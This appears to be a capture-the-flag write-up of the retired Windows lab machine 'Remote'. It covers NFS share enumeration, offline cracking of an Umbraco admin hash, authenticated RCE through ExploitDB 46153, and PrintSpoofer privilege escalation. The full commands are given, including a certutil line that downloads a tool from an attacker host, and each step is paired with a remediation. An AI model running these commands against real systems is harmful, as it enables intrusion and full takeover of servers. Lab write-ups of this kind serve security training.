jperezduerto.info
Remote
Windows· Easy
Summary
I discovered a network file system share exposed to the entire internet with no credentials required, mounted it, and extracted a complete backup of the web application including its user database. The administrator password hash was cracked offline in seconds against a common wordlist.
Those credentials unlocked the Umbraco CMS admin panel, where a well-known remote-code-execution vulnerability in the outdated software version delivered a command shell running as the IIS web-server process. That process held SeImpersonatePrivilege — an unnecessary Windows right — which a named-pipe impersonation tool exploited to escalate to full NT AUTHORITY\SYSTEM control of the server.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
1ReconnaissancePort scanning / NFS share enumeration (showmount)
Mapped all exposed services and found an unauthenticated NFS export
A service scan of the target revealed FTP (21), HTTP (80, IIS running Umbraco CMS), NFS (111/2049), and SMB/RPC (135/139/445). Querying the NFS portmapper showed that the export /site_backups was offered to every IP address on the network with no authentication requirement whatsoever.
Showmount -e $TARGET confirmed /site_backups exported to everyone (0.0.0.0/0).
Exact commands 2
Service and version detection; identifies IIS, Umbraco, NFS, FTP, and SMB.
nmap -sV -sC -p 21,80,111,135,139,445,2049 --min-rate 5000 $TARGETLists NFS exports; confirms /site_backups is world-accessible with no access restriction.
showmount -e $TARGETFixRestrict NFS exports to authorised hosts and block NFS ports from the internetCritical
WeaknessThe /site_backups NFS share was exported to every IP address on the internet (0.0.0.0/0) with no username, password, or host-based restriction, giving any reachable host full read access to the complete web application backup and all files within it.
FixRemove the world-accessible NFS export immediately. If an internal backup share is genuinely required, restrict it to specific, named management IP addresses in /etc/exports (e.g., /site_backups $INTERNAL_HOST(ro,sync,no_subtree_check,root_squash)) and block TCP/UDP ports 111 and 2049 at the perimeter firewall so they are unreachable from the internet. For backup retrieval, replace NFS with an authenticated and encrypted mechanism such as SFTP or a dedicated backup agent.
2CollectionUnauthenticated NFS mount
Mounted the unauthenticated NFS share and retrieved the application database
With no username, password, or IP restriction in place, the share was mounted locally in under a minute. This gave full read access to a complete copy of the Umbraco web application, including App_Data/Umbraco.sdf — a SQL Server Compact database that stores all CMS user accounts and password hashes.
File listing confirmed Umbraco.sdf (1,965,978 bytes, dated Feb 20 2020) at /tmp/htb_remote_site/App_Data/Umbraco.sdf.
Exact commands 2
Mount the NFS export locally; vers=3,nolock required for compatibility with this target.
sudo mkdir -p /tmp/htb_remote_site && sudo mount -t nfs -o vers=3,nolock $TARGET:/site_backups /tmp/htb_remote_siteLocates the credentials database inside the backup tree.
find /tmp/htb_remote_site -iname 'Umbraco.sdf'3Credential AccessOffline credential extraction from SQL Server Compact DB (strings dump)
Extracted the admin account email and password hash from the backup database
Dumping printable strings from the binary .sdf file directly revealed the administrator email address (admin@htb.local) and its salted HMAC-SHA1 password hash. No specialist database tooling was needed — the data was readable with a single command available on any Linux system.
Strings output yielded: admin@htb.local and hash [REDACTED: recovered credential]
Exact commands 1
Extracts all printable text from the binary file; yields the admin email address and password hash.
strings -a /tmp/htb_remote_site/App_Data/Umbraco.sdf | grep -i -E 'admin|password|email|@'FixExclude live credential databases from internet-accessible backupsHigh
WeaknessThe web application backup placed on the unauthenticated NFS share included the live Umbraco.sdf database file, which stores all CMS user accounts and password hashes. Anyone who obtained the backup also obtained every credential hash in the system with a single file copy.
FixExclude database files (*.sdf, *.mdf, *.ldf, *.db) from backups written to network shares, or encrypt them with a key stored entirely separately from the backup location. Immediately rotate all Umbraco user account passwords. Audit backup content at each generation to confirm no credential stores, private keys, or configuration secrets are included.
4Credential AccessOffline dictionary attack (John the Ripper, Raw-SHA1 mode)
Cracked the admin password offline to '[REDACTED: recovered credential]' in seconds
The hash was a straightforward Raw-SHA1 value with no key-stretching. John the Ripper matched it against the rockyou.txt public wordlist almost instantly, recovering the plaintext password '[REDACTED: recovered credential]'. The entire process took well under a minute, demonstrating that the password provided no meaningful resistance to offline attack once the hash was obtained.
John --show output: admin@htb.local:[REDACTED: recovered credential]
Exact commands 3
Write the extracted hash to a file for John.
echo '$PASSWORD2' > remote_admin.sha1Dictionary attack against the hash; recovers [REDACTED: recovered credential]
john --format=Raw-SHA1 --wordlist=/usr/share/wordlists/rockyou.txt remote_admin.sha1Display the cracked credential.
john --show --format=Raw-SHA1 remote_admin.sha1FixEnforce a strong password policy for all CMS administrator accountsHigh
WeaknessThe Umbraco admin account used the password '[REDACTED: recovered credential]', which appears verbatim in the public rockyou.txt wordlist. Once its hash was obtained, the plaintext was recovered in seconds with no specialist hardware — meaning anyone who obtained the backup could have authenticated to the CMS.
FixEnforce a minimum password length of 16 characters with required complexity (upper, lower, digit, symbol) and reject passwords present in known breach lists (e.g., via Have I Been Pwned). Enable Umbraco's built-in account lockout after a configurable number of failed attempts. Require an immediate password reset on all existing CMS accounts. Where possible, enable multi-factor authentication for backoffice login and restrict the /umbraco/ path to internal or VPN-sourced IP addresses at the web server or firewall level.
5Initial AccessWeb application authentication with stolen credentials
Authenticated to the Umbraco administration panel with the cracked credentials
The recovered credentials (admin@htb.local / [REDACTED: recovered credential]) granted full administrative access to the Umbraco backoffice at http://$TARGET/umbraco/. The admin panel was directly reachable from the internet with no IP-address restriction and no multi-factor authentication, giving me unrestricted control over the CMS as its highest-privilege user.
Exact commands 1
Confirms successful login (expect HTTP 200). Alternatively browse to http://$TARGET/umbraco/ and log in interactively.
curl -s -o /dev/null -w '%{http_code}' -X POST "http://$TARGET/umbraco/backoffice/UmbracoApi/Authentication/PostLogin" -H 'Content-Type: application/json' -d '{"username":"admin@htb.local","password":"$PASSWORD"}'6ExecutionUmbraco 7.12.4 Authenticated RCE via XSLT injection (ExploitDB 46153)
Achieved remote code execution via Umbraco 7.12.4 authenticated XSLT injection
Umbraco CMS version 7.12.4 contains a publicly documented authenticated remote-code-execution vulnerability (ExploitDB 46153): an administrator can POST a crafted XSLT payload to the Developer section's transform/visualize endpoint, which evaluates arbitrary XSL and — using the document() or equivalent extension function — executes operating-system commands. Execution ran as the IIS application pool identity (iis apppool\defaultapppool). This produced a stable command-execution channel, and the user flag was read from C:\Users\Public\Desktop\user.txt.
Python3 umbraco_rce_remote.py whoami returned: iis apppool\defaultapppool
Exact commands 3
Confirms ExploitDB 46153; download the PoC and edit the target URL to http://$TARGET and credentials admin@htb.local:[REDACTED: recovered credential]
searchsploit Umbraco 7.12.4Verify RCE; expected output: iis apppool\defaultapppool
python3 umbraco_rce_remote.py whoamiRead user flag → <user.txt>
python3 umbraco_rce_remote.py "type C:\Users\Public\Desktop\user.txt"FixUpgrade Umbraco CMS to a current, supported releaseCritical
WeaknessUmbraco 7.12.4 has a publicly documented, trivially exploitable authenticated remote-code-execution vulnerability (ExploitDB 46153) in its XSLT visualize feature. Any user with admin-level CMS access can run arbitrary operating-system commands on the underlying server using a published proof-of-concept script requiring no specialised skill.
FixUpgrade Umbraco to the latest supported release (v13 LTS or later). If an immediate upgrade is not feasible, disable the Developer > XSLT Visualize feature in the Umbraco configuration and restrict access to /umbraco/ to trusted internal IP addresses at the IIS or firewall level as a temporary compensating control. Subscribe to Umbraco security advisories (https://umbraco.com/blog/tag/security/) to receive patch notifications promptly.
7Privilege EscalationSeImpersonatePrivilege abuse / PrintSpoofer named-pipe impersonation (T1134.001)
Escalated to NT AUTHORITY\SYSTEM by abusing SeImpersonatePrivilege with PrintSpoofer
Checking the token privileges of the IIS worker process revealed SeImpersonatePrivilege was enabled — a Windows right that permits a process to impersonate any user who authenticates to a named pipe it creates. Web application processes have no legitimate need for this privilege; its presence is a misconfiguration. PrintSpoofer exploits it by coercing NT AUTHORITY\SYSTEM to authenticate to my own pipe, then impersonates that token to run a command as SYSTEM. Because direct output redirection was denied through the non-interactive RCE channel, a wrapper batch script was written first to capture the output and relax its ACL with icacls, then PrintSpoofer executed it — yielding a confirmed SYSTEM identity and the root flag.
Whoami /priv confirmed SeImpersonatePrivilege Enabled; loot.txt line 1: nt authority\system
Exact commands 5
Confirm SeImpersonatePrivilege is Enabled for iis apppool\defaultapppool.
python3 umbraco_rce_remote.py "whoami /priv"Stage PrintSpoofer onto my HTTP server. Serve it with: python3 -m http.server 9000
python3 umbraco_rce_remote.py "certutil -urlcache -f http://$ATTACKER_IP:9000/win/PrintSpoofer64.exe C:\Windows\Temp\PrintSpoofer64.exe"Write a batch script capturing SYSTEM identity and root.txt output then granting read access; required because direct output redirection via PrintSpoofer is denied in this non-interactive RCE context.
python3 umbraco_rce_remote.py "echo @echo off > C:\Windows\Temp\ps_root.bat & echo whoami ^> C:\Windows\Temp\loot.txt >> C:\Windows\Temp\ps_root.bat & echo type C:\Users\Administrator\Desktop\root.txt ^>> C:\Windows\Temp\loot.txt >> C:\Windows\Temp\ps_root.bat & echo icacls C:\Windows\Temp\loot.txt /grant Everyone:F >> C:\Windows\Temp\ps_root.bat"Execute the batch script under SYSTEM via named-pipe impersonation.
python3 umbraco_rce_remote.py "C:\Windows\Temp\PrintSpoofer64.exe -c C:\Windows\Temp\ps_root.bat"Read captured output: line 1 = nt authority\system, line 2 = <root.txt>
python3 umbraco_rce_remote.py "type C:\Windows\Temp\loot.txt"FixRemove SeImpersonatePrivilege from the IIS application pool identityHigh
WeaknessThe IIS worker process (iis apppool\defaultapppool) held SeImpersonatePrivilege — a Windows right that permits a process to impersonate any user who connects to a named pipe it creates. Web application processes have no legitimate need for this right; its presence allowed an unauthorised user with only a low-privilege web shell to escalate directly to NT AUTHORITY\SYSTEM using a publicly available tool.
FixRun each IIS application pool under a dedicated, minimally privileged service account rather than the built-in DefaultAppPool identity. Explicitly deny SeImpersonatePrivilege (and SeAssignPrimaryTokenPrivilege) to that account via Group Policy: Computer Configuration > Windows Settings > Security Settings > Local Policies > User Rights Assignment > 'Impersonate a client after authentication'. Audit all service account token privileges quarterly and remove any right not demonstrably required for normal operation.
Attack patterns used
The transferable techniques behind this compromise.
SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an externally controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.